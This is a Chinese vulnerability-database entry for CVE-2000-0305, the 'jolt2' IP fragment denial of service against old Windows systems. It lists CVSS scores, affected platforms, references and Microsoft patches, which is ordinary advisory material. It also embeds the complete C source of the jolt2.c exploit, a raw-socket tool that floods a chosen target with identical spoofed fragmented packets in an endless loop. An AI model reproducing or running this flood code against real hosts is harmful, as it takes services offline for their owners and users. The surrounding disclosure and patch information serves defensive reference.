CVE-2000-0305
CVSS5.0
发布时间 :2000-05-19 00:00:00
修订时间 :2008-09-10 15:04:03
NMCOE    

[原文]Windows 95, Windows 98, Windows 2000, Windows NT 4.0, and Terminal Server systems allow a remote attacker to cause a denial of service by sending a large number of identical fragmented IP packets, aka jolt2 or the "IP Fragment Reassembly" vulnerability.


[CNNVD]多个供应商IP数据包碎片拒绝服务漏洞(CNNVD-200005-076)

        Windows 95, Windows 98, Windows 2000, Windows NT 4.0和Terminal Server系统存在漏洞。远程攻击者通过传送大量相同的IP数据包碎片导致拒绝服务漏洞,又称为jolt2 o或"IP Fragment Reassembly" 漏洞。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_2000Microsoft Windows 2000
cpe:/o:microsoft:windows_95Microsoft Windows 95
cpe:/o:microsoft:windows_98::goldMicrosoft windows 98_gold
cpe:/a:microsoft:terminal_serverMicrosoft terminal_server
cpe:/o:be:beos:5.0
cpe:/o:microsoft:windows_nt:4.0Microsoft Windows NT 4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0305
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0305
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200005-076
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/ms00-029.asp
(UNKNOWN)  MS  MS00-029
http://www.securityfocus.com/templates/advisory.html?id=2240
(UNKNOWN)  BINDVIEW  20000519 jolt2 - Remote DoS against NT, W2K, 9x
http://www.securityfocus.com/bid/1236
(UNKNOWN)  BID  1236

- 漏洞信息

多个供应商IP数据包碎片拒绝服务漏洞
中危 其他
2000-05-19 00:00:00 2005-10-12 00:00:00
远程※本地  
        Windows 95, Windows 98, Windows 2000, Windows NT 4.0和Terminal Server系统存在漏洞。远程攻击者通过传送大量相同的IP数据包碎片导致拒绝服务漏洞,又称为jolt2 o或"IP Fragment Reassembly" 漏洞。

- 公告与补丁

        There are no known patches for Be/OS 5.0. Microsoft has released the following patches which rectify the issue. It should be noted that patches for Windows NT 4 on the Alpha platform are also available:
        Microsoft Windows 2000 Professional
        
        Microsoft Windows 98
        
        Microsoft Windows 2000 Advanced Server
        
        Microsoft Windows 95
        
        Microsoft Windows 2000 Server
        
        Microsoft Windows NT Enterprise Server 4.0
        
        Microsoft Windows NT Terminal Server 4.0
        
        Microsoft Windows NT Workstation 4.0 SP6a
        
        Microsoft Windows NT Enterprise Server 4.0 SP3
        
        Microsoft Windows NT Workstation 4.0 SP5
        
        Microsoft Windows NT Enterprise Server 4.0 SP4
        
        Microsoft Windows NT Workstation 4.0 SP2
        
        Microsoft Windows NT Enterprise Server 4.0 SP5
        
        Microsoft Windows NT Workstation 4.0 SP4
        
        Microsoft Windows NT Terminal Server 4.0 SP2
        
        Microsoft Windows NT Terminal Server 4.0 SP4
        
        Microsoft Windows NT Server 4.0 SP6a
        
        Microsoft Windows NT Enterprise Server 4.0 SP1
        
        Microsoft Windows NT Terminal Server 4.0 SP1
        
        Microsoft Windows NT Enterprise Server 4.0 SP2
        
        Microsoft Windows NT Server 4.0 SP3
        
        Microsoft Windows NT Terminal Server 4.0 SP3
        
        Microsoft Windows NT Workstation 4.0 SP6
        
        Microsoft Windows NT Server 4.0 SP1
        
        Microsoft Windows NT Workstation 4.0
        
        Microsoft Windows NT Enterprise Server 4.0 SP6
        
        Microsoft Windows NT Server 4.0
        
        Microsoft Windows NT Terminal Server 4.0 SP6
        
        Microsoft Windows NT Workstation 4.0 SP3
        
        Microsoft Windows NT Enterprise Server 4.0 SP6a
        
        Microsoft Windows NT Server 4.0 SP6
        

- 漏洞信息 (214)

MS Windows (Jolt2.c) Denial of Service Exploit (EDBID:214)
windows dos
2000-12-02 Verified
0 phonix
N/A [点击下载]
/*
 * File:   jolt2.c
 * Author: Phonix <phonix@moocow.org>
 * Date:   23-May-00
 *
 * Description: This is the proof-of-concept code for the
 *              Windows denial-of-serice attack described by
 *              the Razor team (NTBugtraq, 19-May-00)
 *              (MS00-029).  This code causes cpu utilization
 *              to go to 100%.
 *
 * Tested against: Firewall-1
 *
 * Written for: My Linux box.  YMMV.  Deal with it.
 *
 * Thanks: This is standard code.  Ripped from lots of places.  
 *         Insert your name here if you think you wrote some of 
 *         it.  It's a trivial exploit, so I won't take credit  
 *         for anything except putting this file together.      
 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>

struct _pkt
{
  struct iphdr    ip;
  union {
    struct icmphdr  icmp;
    struct udphdr   udp;
  }  proto;
  char data;
} pkt;

int icmplen  = sizeof(struct icmphdr),
    udplen   = sizeof(struct udphdr),
    iplen    = sizeof(struct iphdr),
    spf_sck;

void usage(char *pname)
{
  fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname);
  fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
  exit(0);
}

u_long host_to_ip(char *host_name)
{
  static  u_long ip_bytes;
  struct hostent *res;

  res = gethostbyname(host_name);
  if (res == NULL)
    return (0);
  memcpy(&ip_bytes, res->h_addr, res->h_length);
  return (ip_bytes);
}

void quit(char *reason)
{
  perror(reason);
  close(spf_sck);
  exit(-1);
}

int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
  int     bs, psize;
  unsigned long x;
  struct  sockaddr_in to;

  to.sin_family = AF_INET;
  to.sin_port = 1235;
  to.sin_addr.s_addr = dst_addr;

  if (port)
    psize = iplen + udplen + 1;
  else
    psize = iplen + icmplen + 1;
  memset(&pkt, 0, psize);

  pkt.ip.version = 4;
  pkt.ip.ihl = 5;
  pkt.ip.tot_len = htons(iplen + icmplen) + 40;
  pkt.ip.id = htons(0x455);
  pkt.ip.ttl = 255;
  pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
  pkt.ip.saddr = src_addr;
  pkt.ip.daddr = dst_addr;
  pkt.ip.frag_off = htons (8190);

  if (port)
  {
    pkt.proto.udp.source = htons(port|1235);
    pkt.proto.udp.dest = htons(port);
    pkt.proto.udp.len = htons(9);
    pkt.data = 'a';
  } else {
    pkt.proto.icmp.type = ICMP_ECHO;
    pkt.proto.icmp.code = 0;
    pkt.proto.icmp.checksum = 0;
  }

  while (1) {
    bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
              sizeof(struct sockaddr));
  }
  return bs;
}

int main(int argc, char *argv[])
{
  u_long  src_addr, dst_addr;
  int i, bs=1, port=0;
  char hostname[32];

  if (argc < 2)
    usage (argv[0]);

  gethostname (hostname, 32);
  src_addr = host_to_ip(hostname);

  while ((i = getopt (argc, argv, "s:p:h")) != EOF)
  {
    switch (i)
    {
      case 's':
        dst_addr = host_to_ip(optarg);
        if (!dst_addr)
          quit("Bad source address given.");
        break;

      case 'p':
        port = atoi(optarg);
        if ((port <=0) || (port > 65535))
          quit ("Invalid port number given.");
        break;

      case 'h':
      default:
        usage (argv[0]);
    }
  }

  dst_addr = host_to_ip(argv[argc-1]);
  if (!dst_addr)
    quit("Bad destination address given.");

  spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (!spf_sck)
    quit("socket()");
  if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
      sizeof(bs)) < 0)
    quit("IP_HDRINCL");

  do_frags (spf_sck, src_addr, dst_addr, port);
}


// milw0rm.com [2000-12-02]
		

- 漏洞信息

335
Microsoft Windows Fragmented IP Packet Saturation DoS (jolt2)
Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-05-19 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站